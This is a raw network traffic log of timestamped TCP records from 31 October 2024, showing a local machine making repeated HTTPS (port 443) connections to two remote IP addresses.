Oct 31, 2024 09:07:54.157433033 CET	50000	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.157471895 CET	49995	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.157479048 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.157490969 CET	49995	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.157495022 CET	443	49995	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.158592939 CET	50000	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.158603907 CET	443	50000	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.159735918 CET	50001	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.159774065 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.159838915 CET	50001	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.159928083 CET	50001	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.159949064 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.192584991 CET	443	49997	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.192662954 CET	443	49997	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.192739010 CET	49997	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.192845106 CET	49997	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.192857027 CET	443	49997	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.192867994 CET	49997	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.192873001 CET	443	49997	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.194983006 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.194994926 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.195056915 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.195198059 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.195209980 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.785649061 CET	443	49998	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.825920105 CET	443	49999	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.830307961 CET	49998	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.877198935 CET	49999	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.886765003 CET	443	50000	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.889307022 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.918106079 CET	50001	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.918127060 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.918581009 CET	50001	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.918586016 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.918879032 CET	49998	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.918910980 CET	443	49998	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.919208050 CET	49999	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.919219017 CET	443	49999	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.919254065 CET	49998	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.919269085 CET	443	49998	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.919511080 CET	50000	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.919523001 CET	443	50000	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.919646978 CET	49999	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.919652939 CET	443	49999	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.919874907 CET	50000	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.919881105 CET	443	50000	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.934953928 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.935340881 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.935348988 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:54.935705900 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:54.935712099 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.043698072 CET	443	49999	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.044239044 CET	443	49999	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.044241905 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.044275045 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.044341087 CET	49999	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.044342995 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.044385910 CET	50001	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.044408083 CET	50001	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.044431925 CET	49999	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.044431925 CET	49999	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.044445038 CET	443	49999	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.044454098 CET	443	49999	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.044589043 CET	50001	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.044589043 CET	50001	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.044609070 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.044619083 CET	443	50001	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.045536041 CET	443	50000	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.045558929 CET	443	50000	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.045604944 CET	50000	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.045615911 CET	443	50000	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.045628071 CET	443	50000	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.045661926 CET	50000	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.045677900 CET	50000	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.045891047 CET	50000	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.045902967 CET	443	50000	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.047360897 CET	443	49998	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.047669888 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.047699928 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.047703028 CET	443	49998	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.047792912 CET	49998	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.047842979 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.047919035 CET	50004	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.047939062 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.048002005 CET	50004	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.048039913 CET	49998	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.048053026 CET	443	49998	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.048064947 CET	49998	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.048070908 CET	443	49998	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.048474073 CET	50005	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.048495054 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.048547983 CET	50005	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.048754930 CET	50005	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.048768997 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.048881054 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.048893929 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.049132109 CET	50004	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.049141884 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.050260067 CET	50006	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.050267935 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.050333977 CET	50006	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.050523996 CET	50006	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.050537109 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.181364059 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.181443930 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.181487083 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.181586981 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.181602001 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.181631088 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.181655884 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.181924105 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.181994915 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.182003021 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.182039976 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.182044029 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.182075024 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.182076931 CET	50002	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.182089090 CET	443	50002	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.184645891 CET	50007	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.184680939 CET	443	50007	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.184760094 CET	50007	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.184900999 CET	50007	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.184915066 CET	443	50007	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.769227982 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.769779921 CET	50004	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.769799948 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.770236015 CET	50004	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.770241976 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.790002108 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.790303946 CET	50005	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.790323019 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.790616035 CET	50005	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.790621042 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.815749884 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.816118002 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.816132069 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.816183090 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.816462994 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.816468954 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.816652060 CET	50006	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.816672087 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.816965103 CET	50006	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.816970110 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.898821115 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.898847103 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.898901939 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.898982048 CET	50004	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.899028063 CET	50004	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.902084112 CET	50004	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.902096987 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.902107000 CET	50004	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.902116060 CET	443	50004	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.904967070 CET	50008	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.905004978 CET	443	50008	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.905086994 CET	50008	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.905246973 CET	50008	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.905263901 CET	443	50008	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.921066046 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.921134949 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.921226978 CET	50005	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.921245098 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.921262980 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.921308994 CET	50005	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.921626091 CET	50005	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.921642065 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.921658993 CET	50005	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.921665907 CET	443	50005	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.923562050 CET	443	50007	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.924119949 CET	50009	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.924156904 CET	443	50009	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.924508095 CET	50007	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.924514055 CET	443	50007	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.924547911 CET	50009	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.924681902 CET	50009	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.924695969 CET	443	50009	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.924995899 CET	50007	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.925000906 CET	443	50007	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.952692032 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.952712059 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.952800035 CET	50006	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.952800989 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.952841997 CET	50006	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.952960014 CET	50006	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.952970028 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.952981949 CET	50006	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.952986002 CET	443	50006	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.955084085 CET	50010	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.955100060 CET	443	50010	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:55.955173016 CET	50010	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.955319881 CET	50010	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:55.955332994 CET	443	50010	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.070348024 CET	443	50007	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.070498943 CET	443	50007	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.070554018 CET	50007	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.070868969 CET	50007	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.070879936 CET	443	50007	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.070889950 CET	50007	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.070894957 CET	443	50007	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.074237108 CET	50011	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.074270010 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.074326992 CET	50011	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.074460983 CET	50011	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.074474096 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.077476025 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.077506065 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.077522039 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.077584982 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.077604055 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.077626944 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.077651024 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.209364891 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.209403038 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.209434986 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.209491968 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.209546089 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.209709883 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.209709883 CET	50003	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.209728956 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.209738016 CET	443	50003	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.212342024 CET	50012	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.212379932 CET	443	50012	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.212441921 CET	50012	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.212594986 CET	50012	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.212610960 CET	443	50012	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.362541914 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:56.362561941 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:56.362659931 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:56.362974882 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:56.362987041 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:56.636876106 CET	443	50008	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.637407064 CET	50008	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.637432098 CET	443	50008	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.637839079 CET	50008	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.637847900 CET	443	50008	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.689146996 CET	443	50009	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.689760923 CET	50009	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.689794064 CET	443	50009	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.690217972 CET	50009	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.690222025 CET	443	50009	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.700334072 CET	443	50010	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.700834990 CET	50010	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.700846910 CET	443	50010	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.701270103 CET	50010	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.701276064 CET	443	50010	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.770971060 CET	443	50008	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.771047115 CET	443	50008	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.771136045 CET	50008	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.771339893 CET	50008	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.771352053 CET	443	50008	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.771365881 CET	50008	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.771373034 CET	443	50008	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.774327040 CET	50014	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.774363995 CET	443	50014	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.774462938 CET	50014	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.774636984 CET	50014	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.774648905 CET	443	50014	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.810894966 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.811394930 CET	50011	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.811428070 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.811810970 CET	50011	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.811816931 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.818542004 CET	443	50009	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.818712950 CET	443	50009	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.818777084 CET	50009	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.818828106 CET	50009	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.818840027 CET	443	50009	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.818850040 CET	50009	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.818855047 CET	443	50009	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.821151018 CET	50015	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.821187019 CET	443	50015	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.821261883 CET	50015	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.821413040 CET	50015	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.821429968 CET	443	50015	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.944509029 CET	443	50012	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.944997072 CET	50012	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.945019960 CET	443	50012	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:56.945441961 CET	50012	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:56.945447922 CET	443	50012	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.063008070 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.064068079 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.064210892 CET	50011	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.064213037 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.064269066 CET	50011	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.064316988 CET	50011	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.064330101 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.064338923 CET	50011	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.064342976 CET	443	50011	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.067276955 CET	50016	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.067296028 CET	443	50016	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.067382097 CET	50016	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.067526102 CET	50016	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.067536116 CET	443	50016	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.078051090 CET	443	50012	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.078105927 CET	443	50012	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.078181982 CET	50012	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.078342915 CET	50012	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.078362942 CET	443	50012	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.078376055 CET	50012	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.078383923 CET	443	50012	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.282917023 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.283010960 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.284893036 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.284898996 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.285293102 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.293809891 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.300205946 CET	443	50010	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.300278902 CET	443	50010	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.300355911 CET	50010	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.300493002 CET	50010	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.300515890 CET	443	50010	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.300559044 CET	50010	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.300571918 CET	443	50010	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.335333109 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.511850119 CET	443	50014	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.512362957 CET	50014	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.512377977 CET	443	50014	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.512823105 CET	50014	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.512828112 CET	443	50014	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.548480988 CET	443	50015	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.548949957 CET	50015	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.548990965 CET	443	50015	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.549355984 CET	50015	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.549371004 CET	443	50015	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.596235037 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.596293926 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.596350908 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.596393108 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.596414089 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.596445084 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.596492052 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.642180920 CET	443	50014	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.642241955 CET	443	50014	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.642328024 CET	50014	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.642554045 CET	50014	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.642569065 CET	443	50014	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.642582893 CET	50014	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.642587900 CET	443	50014	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.675647020 CET	443	50015	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.675811052 CET	443	50015	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.675923109 CET	50015	443	192.168.2.6	13.107.246.45
